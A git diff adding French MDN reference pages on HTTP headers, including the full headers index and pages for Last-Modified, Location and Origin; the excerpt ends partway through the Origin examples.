id="Négociation_de_contenu">Négociation de contenu</h2> + +<dl> + <dt>{{HTTPHeader("Accept")}}</dt> + <dd>informe le serveur des types de données pouvant être renvoyés. C'est un type MIME.</dd> + <dt>{{HTTPHeader("Accept-Charset")}}</dt> + <dd>informe le serveur du jeu de caractères que le client peut comprendre.</dd> + <dt>{{HTTPHeader("Accept-Encoding")}}</dt> + <dd>informe le serveur sur l'algorithme de codage, généralement un algorithme de compression, qui peut être utilisé sur la ressource renvoyée.</dd> + <dt>{{HTTPHeader("Accept-Language")}}</dt> + <dd>informe le serveur de la langue que le serveur doit renvoyer. Ceci est un indice et n'est pas nécessairement sous le contrôle total de l'utilisateur : le serveur doit toujours faire attention à ne pas remplacer un choix explicite de l'utilisateur (telle la sélection d'une langue dans une liste déroulante).</dd> +</dl> + +<h2 id="Contrôles">Contrôles</h2> + +<dl> + <dt>{{HTTPHeader("Expect")}}</dt> + <dd>indique ce qui est attendu de la part du serveur afin de pouvoier gérer correctement la requête.</dd> + <dt>{{HTTPHeader("Max-Forwards")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Cookies">Cookies</h2> + +<dl> + <dt>{{HTTPHeader("Cookie")}}</dt> + <dd>contient les <a href="/fr/docs/HTTP/Cookies">cookies HTTP</a> stockés précédemment envoyés par le serveur à l'aide de l'en-tête {{HTTPHeader("Set-Cookie")}}.</dd> + <dt>{{HTTPHeader("Set-Cookie")}}</dt> + <dd>envoie des cookies du serveur à l'agent utilisateur.</dd> + <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt> + <dd>utilisé pour contenir un cookie HTTP, précédemment envoyé par le serveur avec l'en-tête {{HTTPHeader("Set-Cookie2")}}, mais qui a été rendu obsolète par la spécification. Utilisez {{HTTPHeader("Cookie")}} à la place.</dd> + <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt> + <dd>utilisé pour envoyer des cookies du serveur à l'agent utilisateur, mais a été rendu obsolète par la spécification. Utilisez {{HTTPHeader("Set-Cookie")}} à la place.</dd> +</dl> + +<h2 id="Cross-Origin_Resource_Sharing_CORS"><a href="/fr/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a></h2> + +<dl> + <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt> + <dd>indique si la réponse peut être partagée.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt> + <dd>indique si la réponse à la demande peut être exposée lorsque l'indicateur d'informations d'identification est vrai.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt> + <dd>utilisé en réponse à une demande de contrôle en amont pour indiquer quels en-têtes HTTP peuvent être utilisés lors de la requête effective.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt> + <dd>spécifie la ou les méthodes autorisées lors de l'accès à la ressource en réponse à une demande de contrôle en amont.</dd> + <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt> + <dd>indique en-têtes pouvant être exposés dans le cadre de la réponse en listant leurs noms.</dd> + <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt> + <dd>indique la durée pendant laquelle les résultats d'une demande de contrôle en amont peuvent être mis en cache.</dd> + <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt> + <dd>utilisé lors de l'émission d'une demande de contrôle en amont pour indiquer au serveur les en-têtes HTTP qui seront utilisés lors de la requête effective.</dd> + <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt> + <dd>Utilisé lors de l'émission d'une demande de contrôle en amont pour indiquer au serveur la <a href="/fr/docs/Web/HTTP/Methods">méthode HTTP</a> à utiliser lors de la requête.</dd> + <dt>{{HTTPHeader("Origin")}}</dt> + <dd>indique l'origine d'une consultation.</dd> + <dt>{{HTTPHeader("Timing-Allow-Origin")}}</dt> + <dd>spécifie les origines autorisées à voir les valeurs des attributs récupérés via les fonctionnalités de l'<a href="/fr/docs/Web/API/Resource_Timing_API">API Resource Timing</a>, qui seraient autrement signalées comme étant zéro en raison des restrictions d'origines croisées.</dd> +</dl> + +<h2 id="Ne_pas_suivre">Ne pas suivre</h2> + +<dl> + <dt>{{HTTPHeader("DNT")}}</dt> + <dd>utilisé pour exprimer la préférence de suivi de l'utilisateur.</dd> + <dt>{{HTTPHeader("Tk")}}</dt> + <dd>indique l'état de suivi appliqué à la demande correspondante.</dd> +</dl> + +<h2 id="Téléchargements">Téléchargements</h2> + +<dl> + <dt>{{HTTPHeader("Content-Disposition")}}</dt> + <dd>est un en-tête de réponse si la ressource transmise doit être affichée en ligne (comportement par défaut lorsque l'en-tête n'est pas présent), ou doit être traitée comme un téléchargement et le navigateur doit présenter une fenêtre "Enregistrer sous".</dd> +</dl> + +<h2 id="Informations_sur_le_corps_du_message">Informations sur le corps du message</h2> + +<dl> + <dt>{{HTTPHeader("Content-Length")}}</dt> + <dd>indique la taille du corps d'entité, en nombre décimal d'octets, envoyée au destinataire.</dd> + <dt>{{HTTPHeader("Content-Type")}}</dt> + <dd>indique le type de média de la ressource.</dd> + <dt>{{HTTPHeader("Content-Encoding")}}</dt> + <dd>utilisé pour spécifier l'algorithme de compression.</dd> + <dt>{{HTTPHeader("Content-Language")}}</dt> + <dd>décrit la (les) langue(s) destinée(s) à l'audience, de sorte qu'elle permette à l'utilisateur de se différencier en fonction de la langue préférée de l'utilisateur.</dd> + <dt>{{HTTPHeader("Content-Location")}}</dt> + <dd>indique un emplacement pour les données renvoyées.</dd> +</dl> + +<h2 id="Proxies">Proxies</h2> + +<dl> + <dt>{{HTTPHeader("Forwarded")}}</dt> + <dd>contient des informations du côté client des serveurs proxy qui sont modifiées ou perdues lorsqu'un proxy est impliqué dans le chemin de la requête.</dd> + <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt> + <dd>identifie les adresses IP d'origine d'un client se connectant à un serveur Web via un proxy HTTP ou un répartiteur de charge.</dd> + <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt> + <dd>identifie l'hôte d'origine demandé à un client pour se connecter à votre proxy ou à votre équilibreur de charge.</dd> + <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt> + <dd>identifie le protocole (HTTP ou HTTPS) utilisé par un client pour se connecter à votre proxy ou votre équilibreur de charge.</dd> + <dt>{{HTTPHeader("Via")}}</dt> + <dd>ajoutés par des proxies, directs et inverses, et peuvent apparaître dans les en-têtes de requête et les en-têtes de réponse.</dd> +</dl> + +<h2 id="Redirection">Redirection</h2> + +<dl> + <dt>{{HTTPHeader("Location")}}</dt> + <dd>indique l'URL de la page de redirection.</dd> +</dl> + +<h2 id="Contexte_de_requête">Contexte de requête</h2> + +<dl> + <dt>{{HTTPHeader("From")}}</dt> + <dd>contient une adresse électronique Internet pour un utilisateur humain qui contrôle l'agent utilisateur demandeur.</dd> + <dt>{{HTTPHeader("Host")}}</dt> + <dd>indique le nom de domaine du serveur (pour l'hébergement virtuel) et (facultativement) le numéro de port TCP sur lequel le serveur écoute.</dd> + <dt>{{HTTPHeader("Referer")}}</dt> + <dd>L'adresse de la page Web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi.</dd> + <dt>{{HTTPHeader("Referrer-Policy")}}</dt> + <dd>indique quelles informations de provenance envoyées dans l'en-tête {{HTTPHeader("Referer")}} doivent être incluses dans les requêtes effectuées.</dd> + <dt>{{HTTPHeader("User-Agent")}}</dt> + <dd>contient une chaîne caractéristique qui permet aux homologues du protocole réseau d'identifier le type d'application, le système d'exploitation, le fournisseur du logiciel ou la version du logiciel de l'agent utilisateur du logiciel demandeur. Voir aussi <a href="/fr/docs/HTTP/Gecko_user_agent_string_reference">la référence de chaîne de l'agent utilisateur Firefox</a>.</dd> +</dl> + +<h2 id="Contexte_de_réponse">Contexte de réponse</h2> + +<dl> + <dt>{{HTTPHeader("Allow")}}</dt> + <dd>répertorie l'ensemble des méthodes de requête HTTP prises en charge par une ressource.</dd> + <dt>{{HTTPHeader("Server")}}</dt> + <dd>contient des informations sur le logiciel utilisé par le serveur d'origine pour gérer la demande.</dd> +</dl> + +<h2 id="Demandes_de_plage">Demandes de plage</h2> + +<dl> + <dt>{{HTTPHeader("Accept-Ranges")}}</dt> + <dd>indique si le serveur prend en charge les demandes de plage et, le cas échéant, dans quelle unité la plage peut être exprimée.</dd> + <dt>{{HTTPHeader("Range")}}</dt> + <dd>indique la partie d'un document que le serveur doit renvoyer.</dd> + <dt>{{HTTPHeader("If-Range")}}</dt> + <dd>crée une requête de plage conditionnelle qui n'est remplie que si l'étiquette et la date correspondent à la ressource distante. Utilisé pour empêcher le téléchargement de deux plages à partir d'une version incompatible de la ressource.</dd> + <dt>{{HTTPHeader("Content-Range")}}</dt> + <dd>situe une partie de message à l'intérieur du corps d'un message entier.</dd> +</dl> + +<h2 id="Sécurité">Sécurité</h2> + +<dl> + <dt>{{HTTPHeader("Cross-Origin-Embedder-Policy")}} ({{Glossary("COEP")}})</dt> + <dd>autorise un serveur à déclarer une règlementation sur les contenus embarqués pour un document donné.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("Cross-Origin-Opener-Policy")}} ({{Glossary("COOP")}})</dt> + <dd>interdit les autres domaines d'ouvrir ou de contrôler une fenêtre.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("Cross-Origin-Resource-Policy")}} ({{Glossary("CORP")}})</dt> + <dd>interdit les autre domaines de lire la réponse des ressources si cet en-tête leur est appliqué.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt> + <dd>contrôle les ressources que l'agent utilisateur est autorisé à charger pour une page donnée.</dd> + <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt> + <dd>permet aux développeurs web d'expérimenter des stratégies en surveillant (mais non en appliquant) leurs effets. Ces rapports de violation sont constitués de documents {{Glossary("JSON")}} envoyés via une requête HTTP <code>POST</code> à l'URI spécifié.</dd> + <dt>{{HTTPHeader("Expect-CT")}}</dt> + <dd>permet aux sites de contrôler de manière stricte ou non l'adhérence aux règles de transparence des certificats, permettant ainsi de limiter les utilisations frauduleuses du certificat associé au site grâce à une vérification publique.</dd> + <dt>{{HTTPHeader("Feature-Policy")}}</dt> + <dd>permet d'autoriser ou d'interdire l'utilisation de fonctionnalités du navigateur dans son propre cadre et dans les cadres embarqués.</dd> + <dt>{{HTTPHeader("Origin-Isolation")}} {{experimental_inline}}</dt> + <dd>permet aux application web d'isoler leurs origines.</dd> + <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt> + <dd>force la communication en utilisant HTTPS au lieu de HTTP.</dd> + <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt> + <dd>envoie un signal au serveur exprimant la préférence du client pour une réponse chiffrée et authentifiée, et qu'il peut gérer avec succès la directive {{CSP("upgrade-insecure-requests")}}.</dd> + <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt> + <dd>désactive le repérage MIME et force le navigateur à utiliser le type donné dans {{HTTPHeader("Content-Type")}}.</dd> + <dt>{{HTTPHeader("X-Download-Options")}}</dt> + <dd>indique que le navigateur (Internet Explorer uniquement) ne doit pas affiche l'option permettant d'ouvrir un fichier qui a été téléchargé depuis une application, pour empêcher les attaques par hameçonnage puisque le fichier pourrait autrement obtenir le droit de s'exécuter dans le contexte de l'application. Note : voir le <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/18488178/">bogue MS Edge</a> associé.</dd> + <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt> + <dd>indique si un navigateur doit être autorisé à afficher une page dans un {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} ou {{HTMLElement("object")}}.</dd> + <dt>{{HTTPHeader("X-Permitted-Cross-Domain-Policies")}}</dt> + <dd>Sépcifie si un fichier de règlementation interdomaines (<code>crossdomain.xml</code>) est autorisé. Ce fichier peut définir une règle pour accorder aux clients (comme Adobe Flash Player, Adobe Acrobat, Microsoft Silverlight ou Apache Flex) la permission de gérer des données entre domaines qui seraient autrement restreintes à cause de <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">Same-Origin Policy</a>. Voir la <a href="https://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html">spécification Cross-domain Policy File</a> pour plus d'informations.</dd> + <dt>{{HTTPHeader("X-Powered-By")}}</dt> + <dd>peut être défini par l'environnement hôte ou par d'autres cadriciels, il contient des informations sur eux sans fournir aucun information utile à l'application ni aux visiteurs. Désactivez cet en-tête pour éviter d'exposer des informations et des vulnérabilités potentielles.</dd> + <dt>{{HTTPHeader("X-XSS-Protection")}}</dt> + <dd>active le filtrage de script intersite.</dd> +</dl> + +<h3 id="HTTP_Public_Key_Pinning_GlossaryHPKP">HTTP Public Key Pinning {{Glossary("HPKP")}}</h3> + +<p>HTTP Public Key Pinning a été déprécié et supprimé au profit de Certificate Transparency et {{HTTPHeader("Expect-CT")}}.</p> + +<dl> + <dt>{{HTTPHeader("Public-Key-Pins")}}</dt> + <dd>associe une clé publique cryptographique spécifique à un certain serveur web pour réduire le risque d'attaques {{Glossary("MitM")}} à l'aide de certificats falsifiés.</dd> + <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt> + <dd>envoie des rapports au <em>report-uri</em> spécifié dans l'en-tête et permet toujours aux clients de se connecter au serveur même si l'association à la clé cryptographique est violée.</dd> +</dl> + +<h3 id="En-têtes_de_requêtes_de_métadonnées">En-têtes de requêtes de métadonnées</h3> + +<dl> + <dt>{{HTTPHeader("Sec-Fetch-Site")}}</dt> + <dd>en-tête de requête indiquant la relation entre l'origine ayant initiée la requête et l'origine cible ; c'est un en-tête srtucutré dont la valeur peut être <code>cross-site</code>, <code>same-origin</code>, <code>same-site</code> ou <code>none</code>.</dd> + <dt>{{HTTPHeader("Sec-Fetch-Mode")}}</dt> + <dd>en-tête de requête indiquant le mode de requête à un serveur ; c'est un en-tête structuré dont la valeur peut être <code>cors</code>, <code>navigate</code>, <code>nested-navigate</code>, <code>no-cors</code>, <code>same-origin</code> ou <code>websocket</code>.</dd> + <dt>{{HTTPHeader("Sec-Fetch-User")}}</dt> + <dd>en-tête de requête indiquant si une requête de navigation a été déclenchée ou non par une action de l'utilisateur ; c'est un en-tête structuré dont la valeur est un booléen, soit <code>?0</code> ou pour faux et <code>?1</code> pour vrai.</dd> + <dt>{{HTTPHeader("Sec-Fetch-Dest")}}</dt> + <dd>en-tête de requête indiquant la destination de la requête à un serveur ; c'est un en-tête structuré dont la valeur peut être <code>audio</code>, <code>audioworklet</code>, <code>document</code>, <code>embed</code>, <code>empty</code>, <code>font</code>, <code>image</code>, <code>manifest</code>, <code>object</code>, <code>paintworklet</code>, <code>report</code>, <code>script</code>, <code>serviceworker</code>, <code>sharedworker</code>, <code>style</code>, <code>track</code>, <code>video</code>, <code>worker</code>, <code>xslt</code> ou <code>nested-document</code>.</dd> +</dl> + +<h2 id="Évènements_envoyés_par_le_serveur">Évènements envoyés par le serveur</h2> + +<dl> + <dt>{{HTTPHeader("Last-Event-ID")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("NEL")}} {{experimental_inline}}</dt> + <dd>permet aux développeurs de déclarer une règlementation de rapportage d'erreur réseau.</dd> + <dt>{{HTTPHeader("Ping-From")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Ping-To")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Report-To")}}</dt> + <dd>utilisé pour spécifier un serveur de destination pour que le navigateur puisse y envoyer des rapports d'avertissements ou d'erreurs.</dd> +</dl> + +<h2 id="Codage_de_transfert">Codage de transfert</h2> + +<dl> + <dt>{{HTTPHeader("Transfer-Encoding")}}</dt> + <dd>spécifie la forme de codage utilisée pour transférer en toute sécurité l'entité à l'utilisateur.</dd> + <dt>{{HTTPHeader("TE")}}</dt> + <dd>spécifie les encodages de transfert que l'agent utilisateur est prêt à accepter.</dd> + <dt>{{HTTPHeader("Trailer")}}</dt> + <dd>permet à l'expéditeur d'inclure des champs supplémentaires à la fin du message segmenté.</dd> +</dl> + +<h2 id="WebSockets">WebSockets</h2> + +<dl> + <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Autres">Autres</h2> + +<dl> + <dt>{{HTTPHeader("Accept-Push-Policy")}} {{experimental_inline}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Accept-Signature")}} {{experimental_inline}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Alt-Svc")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Date")}}</dt> + <dd>contient la date et l'heure à laquelle le message a été généré.</dd> + <dt>{{HTTPHeader("Large-Allocation")}}</dt> + <dd>indique au navigateur que la page en cours de chargement souhaite effectuer une allocation importante.</dd> + <dt>{{HTTPHeader("Link")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Push-Policy")}} {{experimental_inline}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Retry-After")}}</dt> + <dd>indique combien de temps l'agent utilisateur doit attendre avant de faire une autre demande consécutive.</dd> + <dt>{{HTTPHeader("Signature")}} {{experimental_inline}}</dt> + <dd>communique une liste de signatures pour un échange, chacune accompagnée d'informations sur la manière de déterminer son autorité et de rafraichir cette signature.</dd> + <dt>{{HTTPHeader("Signed-Headers")}} {{experimental_inline}}</dt> + <dd>identifie une liste ordonnée de champs d'en-tête de réponse à inclure dans une signature.</dd> + <dt>{{HTTPHeader("Server-Timing")}}</dt> + <dd>communique un ou plusieurs indicateurs et descriptions pour le cycle requête-réponse donné.</dd> + <dt>{{HTTPHeader("Service-Worker-Allowed")}}</dt> + <dd>utilisé pour supprimer la <a href="https://w3c.github.io/ServiceWorker/#path-restriction">restriction de chemin</a> en incluant cet en-tête <a href="https://w3c.github.io/ServiceWorker/#service-worker-script-response">dans la réponse d'un script Service Worker</a>.</dd> + <dt>{{HTTPHeader("SourceMap")}}</dt> + <dd>liens ayant généré du code sur une <a href="/fr/docs/Outils/D%C3%A9bogueur/Comment/Utiliser_une_source_map">source</a>.</dd> + <dt>{{HTTPHeader("Upgrade")}}</dt> + <dd>le document RFC associé pour le <a href="https://tools.ietf.org/html/rfc7230#section-6.7">champ d'en-tête Upgrade est RFC 7230, section 6.7</a>. Le standard établit des règles pour la mise à niveau ou la modification d'un protocole différent sur le client, le serveur et la connexion au protocole de transport actuels. Par exemple, cette norme d'en-tête permet à un client de passer de HTTP 1.1 à HTTP 2.0, en supposant que le serveur décide de reconnaître et d'implémenter le champ d'en-tête Upgrade. Une requête de ce type ne peut etre contraignante et le serveur peut répondre en utilisant le protocole initial. Il peut être utilisé dans les en-têtes client et serveur. Si le champ d'en-tête Upgrade est spécifié, l'expéditeur DOIT également envoyer le champ d'en-tête Connection avec l'option de mise à niveau spécifiée. Pour plus de détails sur le <a href="https://tools.ietf.org/html/rfc7230#section-6.1">champ d'en-tête Connection, veuillez vous reporter à la section 6.1 du RFC susmentionné</a>.</dd> + <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt> + <dd>contrôle le préchargement DNS, fonctionnalité par laquelle les navigateurs effectuent de manière proactive la résolution du nom de domaine sur les deux liens que l'utilisateur peut choisir de suivre ainsi que les URL des éléments référencés par le document, y compris les images, CSS, JavaScript, etc.</dd> + <dt>{{HTTPHeader("X-Firefox-Spdy")}} {{deprecated_inline}} {{non-standard_inline}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("X-Pingback")}} {{non-standard_inline}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("X-Requested-With")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("X-Robots-Tag")}} {{non-standard_inline}}</dt> + <dd>indique comment une page doit être indexée dans les résultats publics des moteurs de recherche ; cet en-tête est équivalent à <code><meta name="robots" content="..."></code></dd> + <dt>{{HTTPHeader("X-UA-Compatible")}} {{non-standard_inline}}</dt> + <dd>Utilisé par Internet Explorer pour signaler quel mode de document utiliser.</dd> +</dl> + +<h2 id="Contribuer">Contribuer</h2> + +<p>Vous pouvez contribuer en <a href="/fr/docs/MDN/Contribute/Howto/Document_an_HTTP_header">ajoutant un nouvel en-tête à la liste</a> ou en améliorant la documentation existante.</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a class="external" href="https://fr.wikipedia.org/wiki/Liste_des_codes_HTTP">Page Wikipédia sur la liste des en-têtes HTTP</a></li> + <li><a class="external" href="https://www.iana.org/assignments/message-headers/message-headers.xhtml">Registre des en-têtes par l'IANA</a> (en)</li> + <li><a href="https://httpwg.org/specs/">Groupe de travail HTTP</a></li> +</ul> diff --git a/files/fr/web/http/headers/last-modified/index.html b/files/fr/web/http/headers/last-modified/index.html new file mode 100644 index 0000000000..b05a391c02 --- /dev/null +++ b/files/fr/web/http/headers/last-modified/index.html @@ -0,0 +1,92 @@ +--- +title: Last-Modified +slug: Web/HTTP/Headers/Last-Modified +tags: + - Entête de Réponse + - Entêtes HTTP + - HTTP + - Reference +translation_of: Web/HTTP/Headers/Last-Modified +--- +<div>{{HTTPSidebar}}</div> + +<p>L'entête HTTP de réponse <strong><code>Last-Modified</code></strong> contient la date et l'heure à laquelle le serveur d'origine pense que la ressource a été modifiée pour la dernière fois. Il est utilisé comme un validateur pour déterminer si une ressource reçue et une stockée sont les mêmes. Moins précis qu'un entête {{HTTPHeader("ETag")}}, c'est un mécanisme de rechange. Les requêtes conditionnelles contenant des entêtes {{HTTPHeader("If-Modified-Since")}} ou {{HTTPHeader("If-Unmodified-Since")}} font usage de ce champ.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>oui</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Last-Modified: <nom-jour>, <jour> <mois> <année> <heure>:<minute>:<seconde> GMT +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><nom-jour></dt> + <dd>Un nom parmi "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", ou "Sun" (sensible à la casse).</dd> + <dt><jour></dt> + <dd>Jour sur 2 chiffres, par ex. "04" ou "23".</dd> + <dt><mois></dt> + <dd>Un mois parmi "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse).</dd> + <dt><année></dt> + <dd>Millésime sur 4 chiffres, par ex. "1990" ou "2016".</dd> + <dt><heure></dt> + <dd>Heure sur 2 chiffres, par ex. "09" ou "23".</dd> + <dt><minute></dt> + <dd>Minute sur 2 chiffres, par ex. "04" ou "59".</dd> + <dt><seconde></dt> + <dd>Seconde sur 2 chiffres, par ex. "04" ou "59".</dd> + <dt><code>GMT</code></dt> + <dd> + <p>Greenwich Mean Time. Les dates HTTP sont toujours exprimées en GMT, jamais en heure locale.</p> + </dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7232", "Last-Modified", "2.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2> + +<p class="hidden">La table de compatibilité de cette page est générée à partir de données structurées. Si vous souhaitez contribuer à ces données, merci de vous référer à <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et de nous envoyer une demande de tirage .</p> + +<p>{{Compat("http.headers.Last-Modified")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("If-Modified-Since")}}</li> + <li>{{HTTPHeader("If-Unmodified-Since")}}</li> + <li>{{HTTPHeader("Etag")}}</li> +</ul> diff --git a/files/fr/web/http/headers/location/index.html b/files/fr/web/http/headers/location/index.html new file mode 100644 index 0000000000..efdf8a9fe9 --- /dev/null +++ b/files/fr/web/http/headers/location/index.html @@ -0,0 +1,78 @@ +--- +title: Location +slug: Web/HTTP/Headers/Location +translation_of: Web/HTTP/Headers/Location +--- +<div>{{HTTPSidebar}}</div> + +<p>L'en-tête de réponse <code>Location</code> indique l'URL vers laquelle rediriger une page. Il a un sens seulement lorsqu'il est servi avec une réponse d'état <code>3xx</code> (redirection) ou <code>201</code> (créé).</p> + +<p>En cas de redirection, la méthode HTTP utilisée pour la nouvelle requête de récupération de la page pointée par <code>Location</code> dépend la méthode d'origine et du type de redirection :</p> + +<ul> + <li>Si les réponses {{HTTPStatus("303")}} (Voir Aussi) conduisent toujours à l'utilisation d'une méthode {{HTTPMethod("GET")}}, {{HTTPStatus("307")}} (Redirection Temporaire) et {{HTTPStatus("308")}} (Redirection Permanente) ne modifient pas la méthode utilisée dans la demande d'origine;</li> + <li>{{HTTPStatus("301")}} (Redirection permanente) et {{HTTPStatus("302")}} (Trouvé) ne change pas la méthode la plupart du temps, bien que les user-agents plus anciens puissent.</li> +</ul> + +<p>Toutes les réponses avec l'un de ces codes d'état envoient un en-tête <code>Location</code>.</p> + +<p>En cas de création de ressource, il indique l'URL de la ressource nouvellement créée.</p> + +<p><code>Location</code> et {{HTTPHeader("Content-Location")}} sont différents : <code>Location</code> indique la cible d'une redirection (ou l'URL d'une ressource nouvellement créée), tandis que {{HTTPHeader("Content-Location")}} indique l'URL directe à utiliser pour accéder à la ressource lorsque la négociation de contenu a eu lieu, sans qu'il soit nécessaire de poursuivre la négociation de contenu. L'emplacement est un en-tête associé à la réponse, tandis que {{HTTPHeader("Content-Location")}} est associé à l'entité renvoyée.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox notranslate">Location: <url> +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><url></dt> + <dd>Une URL relative (à l'URL de la demande) ou absolue.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre class="notranslate">Location: /index.html</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Location", "7.1.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Location")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Location")}}</li> + <li>État des réponses, y compris un en-tête <code>Location</code> : {{HTTPStatus("201")}}, {{HTTPStatus("301")}}, {{HTTPStatus("302")}}, {{HTTPStatus("303")}}, {{HTTPStatus("307")}}, {{HTTPStatus("308")}}.</li> +</ul> diff --git a/files/fr/web/http/headers/origin/index.html b/files/fr/web/http/headers/origin/index.html new file mode 100644 index 0000000000..4e18becbe9 --- /dev/null +++ b/files/fr/web/http/headers/origin/index.html @@ -0,0 +1,79 @@ +--- +title: Origin +slug: Web/HTTP/Headers/Origin +tags: + - Reference +translation_of: Web/HTTP/Headers/Origin +--- +<div>{{HTTPSidebar}}</div> + +<p>L’en-tête de requête <strong><code>Origin</code></strong> indique la provenance de la requête. Il n’inclut aucune information de chemin, seulement le nom du serveur. Il est envoyé avec les requêtes {{Glossary("CORS")}}, ainsi que les requêtes {{HTTPMethod("POST")}}. Il est similaire à l’en-tête {{HTTPHeader("Referer")}}, mais, contrairement à ce dernier, il n’inclut pas le chemin complet.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d’en-tête</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>oui</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Origin: "" +Origin: <scheme> "://" <hostname> [ ":" <port> ] +</pre> + +<p><code>Origin</code> peut être une chaîne vide : c’est utile, par exemple, si la source est une <code>data</code> URL.</p> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><scheme></dt> + <dd>Le protocole utilisé. Il s’agit en général du protocole HTTP ou de sa version sécurisée, HTTPS.</dd> + <dt><hostname></dt> + <dd>Le nom de domaine du serveur (for virtual hosting) ou l’IP.</dd> + <dt><port> {{optional_inline}}</dt> + <dd>Un numéro de port TCP sur lequel le serveur écoute. Si aucun port n’est donné, le port par défaut pour le service demandé (p. ex. <code>80</code> pour une URL HTTP) est supposé.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>Origin: 